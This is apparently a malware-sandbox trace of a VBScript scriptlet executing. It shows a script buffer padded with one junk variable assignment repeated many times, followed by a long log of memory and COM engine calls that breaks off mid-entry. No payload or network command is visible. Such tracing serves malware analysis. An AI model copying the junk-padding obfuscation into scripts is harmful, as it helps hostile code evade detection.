\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0065.575] GetCurrentThreadId () returned 0xd44 [0065.575] realloc (_Block=0x0, _Size=0xc8) returned 0x844b490 [0065.575] ??2@YAPAXI@Z () returned 0x86a0ad0 [0065.575] malloc (_Size=0x804) returned 0x83d5e70 [0065.576] ??2@YAPAXI@Z () returned 0x8403970 [0065.576] malloc (_Size=0x400) returned 0x1186548 [0065.576] malloc (_Size=0x104) returned 0x8460768 [0065.576] malloc (_Size=0x1004) returned 0x11c6a50 [0065.578] realloc (_Block=0x1186548, _Size=0x800) returned 0x83d18f0 [0065.617] realloc (_Block=0x83d18f0, _Size=0x1000) returned 0x118e1c0 [0065.618] ??3@YAXPAX@Z () returned 0x1 [0065.618] realloc (_Block=0x1186548, _Size=0x4b0) returned 0x83dbbc0 [0065.619] realloc (_Block=0x83dbbc0, _Size=0x708) returned 0x1198748 [0065.619] realloc (_Block=0x1198748, _Size=0xa88) returned 0x118f1c8 [0065.619] realloc (_Block=0x118f1c8, _Size=0xfc8) returned 0x118f1c8 [0065.619] realloc (_Block=0x118f1c8, _Size=0x17a8) returned 0x118f1c8 [0065.619] realloc (_Block=0x118f1c8, _Size=0x2378) returned 0x118f1c8 [0065.619] realloc (_Block=0x118f1c8, _Size=0x3530) returned 0x847ae28 [0065.624] ??2@YAPAXI@Z () returned 0x1129250 [0065.624] free (_Block=0x86d3fb8) [0065.624] free (_Block=0x86cbf98) [0065.624] free (_Block=0x83d9bb0) [0065.624] free (_Block=0x11c6a50) [0065.624] free (_Block=0x83d5e70) [0065.624] ??3@YAXPAX@Z () returned 0x560001 [0065.624] free (_Block=0x118e1c0) [0065.625] free (_Block=0x847ae28) [0065.625] free (_Block=0x86dbfd8) [0065.625] free (_Block=0x86d7fc8) [0065.625] free (_Block=0x86cffa8) [0065.625] free (_Block=0x86c7f88) [0065.625] free (_Block=0x86c3f78) [0065.625] free (_Block=0x86bff68) [0065.625] free (_Block=0x8476e18) [0065.625] free (_Block=0x8472e08) [0065.625] free (_Block=0x846edf8) [0065.625] free (_Block=0x87e3d78) [0065.625] free (_Block=0x83d08e0) [0065.625] free (_Block=0x83d6680) [0065.625] free (_Block=0x11c7a60) [0065.625] free (_Block=0x1186950) [0065.625] free (_Block=0x8460768) [0065.625] ??2@YAPAXI@Z () returned 0x86a0ad0 [0065.625] ??2@YAPAXI@Z () returned 0x838c5b8 [0065.625] malloc (_Size=0xc) returned 0x1112c38 [0065.625] free (_Block=0x844b490) [0065.625] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0065.626] GetUserDefaultLCID () returned 0x409 [0065.626] GetACP () returned 0x4e4 [0065.626] ??3@YAXPAX@Z () returned 0x160001 [0065.626] ISystemDebugEventFire:EndSession (This=0x6ab1808) returned 0x0 [0065.626] IUnknown:Release (This=0x6ab1808) returned 0x1 [0065.626] ??3@YAXPAX@Z () returned 0xc00001 [0065.626] ??3@YAXPAX@Z () returned 0x1 [0065.626] VBScriptEngine5:IUnknown:Release (This=0x83fd4dc) returned 0x2 [0065.626] IUnknown:Release (This=0x6ab1808) returned 0x0 [0065.626] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4d0, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0065.626] VBScriptEngine5:IUnknown:Release (This=0x83fd4d0) returned 0x1 [0065.626] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0065.634] ??2@YAPAXI@Z () returned 0x11a9bc8 [0065.634] GetUserDefaultLCID () returned 0x409 [0065.634] GetACP () returned 0x4e4 [0065.634] ??2@YAPAXI@Z () returned 0x838c618 [0065.634] ??2@YAPAXI@Z () returned 0x86a0b00 [0065.634] malloc (_Size=0xc) returned 0x1112bf0 [0065.634] VBScriptEngine5:IUnknown:AddRef (This=0x11a9bc8) returned 0x3 [0065.634] VBScriptEngine5:IUnknown:Release (This=0x11a9bc8) returned 0x2 [0065.634] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a9bc8, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d1b0 | out: ppvObject=0x846d1b0*=0x11a9bcc) returned 0x0 [0065.635] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a9bc8, pass=0x83fd480) returned 0x0 [0065.635] GetCurrentThreadId () returned 0xd44 [0065.635] ??2@YAPAXI@Z () returned 0x86bff68 [0065.635] ??2@YAPAXI@Z () returned 0x83fd2c8 [0065.635] GetCurrentThreadId () returned 0xd44 [0065.635] ??2@YAPAXI@Z () returned 0x1104970 [0065.635] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x86bffbc | out: ppvObject=0x86bffbc*=0x0) returned 0x80004002 [0065.635] VBScriptEngine5:IUnknown:AddRef (This=0x83fd480) returned 0x2 [0065.635] IActiveScriptSite:GetLCID (in: This=0x83fd480, plcid=0x14c6cc | out: plcid=0x14c6cc*=0x800) returned 0x0 [0065.635] GetSystemDefaultLCID () returned 0x409 [0065.635] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x14c69c, cchData=6 | out: lpLCData="1252") returned 5 [0065.635] IsValidCodePage (CodePage=0x4e4) returned 1 [0065.635] IActiveScriptSite:GetDocVersionString (in: This=0x83fd480, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0065.635] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9d54 | out: ppvObject=0x11a9d54*=0x83fd48c) returned 0x0 [0065.635] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd48c, ppda=0x11a9d5c | out: ppda=0x11a9d5c*=0x0) returned 0x80004001 [0065.635] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9da4 | out: ppv=0x11a9da4*=0x6ab1808) returned 0x0 [0065.636] IUnknown:AddRef (This=0x6ab1808) returned 0x2 [0065.636] GetCurrentProcessId () returned 0xd40 [0065.636] GetCurrentThreadId () returned 0xd44 [0065.636] GetTickCount () returned 0xbb7ef2 [0065.636] ISystemDebugEventFire:BeginSession (This=0x6ab1808, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12287730") returned 0x0 [0065.636] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x11a9bc8, pstrName="scriptlet", dwFlags=0xa) returned 0x0 [0065.636] GetCurrentThreadId () returned 0xd44 [0065.636] ??2@YAPAXI@Z () returned 0x86a0b30 [0065.636] IActiveScriptSite:GetItemInfo (in: This=0x83fd480, pstrName="scriptlet", dwReturnMask=0x1, ppiunkItem=0x14c680, ppti=0x0 | out: ppiunkItem=0x14c680*=0x1197760, ppti=0x0) returned 0x0 [0065.636] IUnknown:QueryInterface (in: This=0x1197760, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c69c | out: ppvObject=0x14c69c*=0x1197760) returned 0x0 [0065.637] IUnknown:Release (This=0x1197760) returned 0x3 [0065.637] IUnknown:AddRef (This=0x1197760) returned 0x4 [0065.637] ??2@YAPAXI@Z () returned 0x1105bb0 [0065.637] malloc (_Size=0x40) returned 0x11977f0 [0065.637] malloc (_Size=0x104) returned 0x8403970 [0065.637] ??2@YAPAXI@Z () returned 0x1129290 [0065.637] IUnknown:AddRef (This=0x1197760) returned 0x5 [0065.637] IUnknown:Release (This=0x1197760) returned 0x4 [0065.637] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x11a9bc8, pstrName="globals", dwFlags=0x2) returned 0x0 [0065.637] GetCurrentThreadId () returned 0xd44 [0065.637] ??2@YAPAXI@Z () returned 0x86a0b60 [0065.638] VBScriptEngine5:IActiveScript:GetScriptDispatch (in: This=0x11a9bc8, pstrItemName=0x0, ppdisp=0x14c6f0 | out: ppdisp=0x14c6f0*=0x83fd2c8) returned 0x0 [0065.638] GetCurrentThreadId () returned 0xd44 [0065.638] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd2c8, riid=0x66907c10*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x83fd27c | out: ppvObject=0x83fd27c*=0x83fd2c8) returned 0x0 [0065.638] GetCurrentThreadId () returned 0xd44 [0065.638] VBScriptEngine5:IUnknown:Release (This=0x83fd2c8) returned 0x2 [0065.638] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a9bc8, ss=1) returned 0x800a01a8 [0065.638] VBScriptEngine5:IUnknown:AddRef (This=0x83fd480) returned 0x4 [0065.638] ??2@YAPAXI@Z () returned 0x83fd4f8 [0065.638] ISystemDebugEventFire:IsActive (This=0x6ab1808) returned 0x1 [0065.639] IUnknown:AddRef (This=0x1197760) returned 0x5 [0065.639] malloc (_Size=0x1158) returned 0x83d5e70 [0065.639] GetCurrentThreadId () returned 0xd44 [0065.639] IActiveScriptSite:OnEnterScript (This=0x83fd480) returned 0x0 [0065.639] ??2@YAPAXI@Z () returned 0x83fd520 [0065.639] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, 